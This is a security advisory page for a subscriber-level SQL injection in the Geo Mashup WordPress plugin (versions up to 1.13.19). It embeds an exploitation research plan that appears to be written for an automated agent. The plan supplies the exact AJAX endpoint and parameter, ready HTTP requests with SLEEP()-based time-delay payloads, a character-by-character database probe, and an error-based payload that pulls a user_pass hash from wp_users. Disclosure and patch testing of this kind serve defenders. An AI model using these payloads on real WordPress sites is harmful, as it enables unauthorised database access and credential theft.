Geo Mashup <= 1.13.19 - Authenticated (Subscriber+) SQL Injection via 'geo_mashup_null_fields' Parameter
Description
The Geo Mashup plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'geo_mashup_null_fields' parameter in all versions up to, and including, 1.13.19 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.13.20
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6457 ## 1. Vulnerability Summary **CVE-2026-6457** is a time-based blind SQL injection vulnerability in the **Geo Mashup** plugin for WordPress (versions <= 1.13.19). The vulnerability exists in the handling of the `geo_mashup_null_fields` parameter within th…
Show full research plan
Exploitation Research Plan - CVE-2026-6457
1. Vulnerability Summary
CVE-2026-6457 is a time-based blind SQL injection vulnerability in the Geo Mashup plugin for WordPress (versions <= 1.13.19). The vulnerability exists in the handling of the geo_mashup_null_fields parameter within the geo_query AJAX action. The plugin fails to sanitize or properly prepare SQL queries when this parameter is provided, allowing an authenticated attacker (Subscriber or higher) to inject arbitrary SQL commands. Because the results are not directly returned (blind), a time-based approach (e.g., SLEEP()) is required for data extraction.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
geo_mashup_query - Vulnerable Parameter:
geo_mashup_null_fields - Authentication: Required (Subscriber+). Although the action is registered via
wp_ajax_nopriv_geo_mashup_query, the vulnerability details specify "Authenticated (Subscriber+)", suggesting that in typical configurations or specific code paths, a user session is expected. - Payload Type: Time-based blind SQLi.
3. Code Flow
- Entry Point: The plugin registers AJAX handlers in
geo-mashup.php:add_action( 'wp_ajax_geo_mashup_query', array( __CLASS__, 'geo_query') ); add_action( 'wp_ajax_nopriv_geo_mashup_query', array( __CLASS__, 'geo_query') ); - Dispatch:
GeoMashup::geo_query()is called. This function typically parses query arguments from$_REQUESTand passes them to the database layer. - Sink: In
geo-mashup-db.php, the classGeoMashupDBprocesses these arguments. Specifically, thegeo_mashup_null_fieldsparameter is used to dynamically build theWHEREclause of a query against the locations table (usually{$wpdb->prefix}geo_mashup_locations). - Vulnerable Logic (Inferred):
if ( ! empty( $_REQUEST['geo_mashup_null_fields'] ) ) { $null_fields = explode( ',', $_REQUEST['geo_mashup_null_fields'] ); foreach ( $null_fields as $field ) { // The field name is interpolated directly into the SQL string without escaping $where .= " AND $field IS NULL"; } } - Execution: The malformed SQL is executed via
$wpdb->get_results().
4. Nonce Acquisition Strategy
The geo_mashup_query action generally does not require a nonce for marker fetching, as it is designed to be public-facing. However, if the environment enforces a check, Geo Mashup localizes its data in the GeoMashup JS object.
Strategy:
- Create a page with the
[geo_mashup_map]shortcode to ensure scripts are loaded. - Navigate to the page using
browser_navigate. - Check for localized variables using
browser_eval. - Target Variable:
window.GeoMashup?.ajax_urlorwindow.geo_mashup_options?.ajax_nonce(if present). - If no nonce is found and
admin-ajax.phpreturns-1(nonce failure), auditGeoMashup::geo_query()for the exactcheck_ajax_referercall.
5. Exploitation Strategy
The goal is to demonstrate a noticeable time delay using SLEEP().
Step 1: Authenticate
- Log in as a Subscriber user to obtain a session cookie.
Step 2: Baseline Request
- Send a standard request to ensure the endpoint is active.
- URL:
POST /wp-admin/admin-ajax.php - Body:
action=geo_mashup_query&geo_mashup_null_fields=id
Step 3: Trigger Time Delay
- Inject a payload that breaks out of the
IS NULLcontext. - Payload Component:
id) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Full Parameter:
geo_mashup_null_fields=id) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=geo_mashup_query&geo_mashup_null_fields=id)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)--+-
Step 4: Data Extraction (Proof of Concept)
- Check if the first character of the database version starts with '5' or '8':
- Payload:
id) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)))a)-- -
6. Test Data Setup
- User: Create a user with the
subscriberrole. - Plugin Config: Ensure the plugin is activated.
- Content: Create at least one post with a location so the query returns results, though the injection should work regardless if the
WHEREclause is reached. - Shortcode Page:
wp post create --post_type=page --post_title="Map Page" --post_status=publish --post_content='[geo_mashup_map]'
7. Expected Results
- Baseline Request: Response time < 500ms.
- Exploit Request: Response time > 5000ms.
- Response Body: Likely a JSON object containing location markers or an empty set
[], but the HTTP timing is the primary indicator.
8. Verification Steps
After the exploit, verify the database structure to confirm the target table and columns:
wp db query "DESCRIBE wp_geo_mashup_locations;"
Confirm the geo_mashup_query action's existence in the source:
grep -r "wp_ajax_geo_mashup_query" /var/www/html/wp-content/plugins/geo-mashup/
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis on, try injectingAND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)to see if the error is reflected in the AJAX response. - Different Injection Point: If
geo_mashup_null_fieldsfails, check if other parameters likeobject_nameormap_nameare similarly interpolated in theGeoMashupDB::get_object_locationslogic. - Boolean-Based: Instead of
SLEEP(), useAND (SELECT 1)=1vsAND (SELECT 1)=2and observe differences in the number of returned markers in the JSON response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.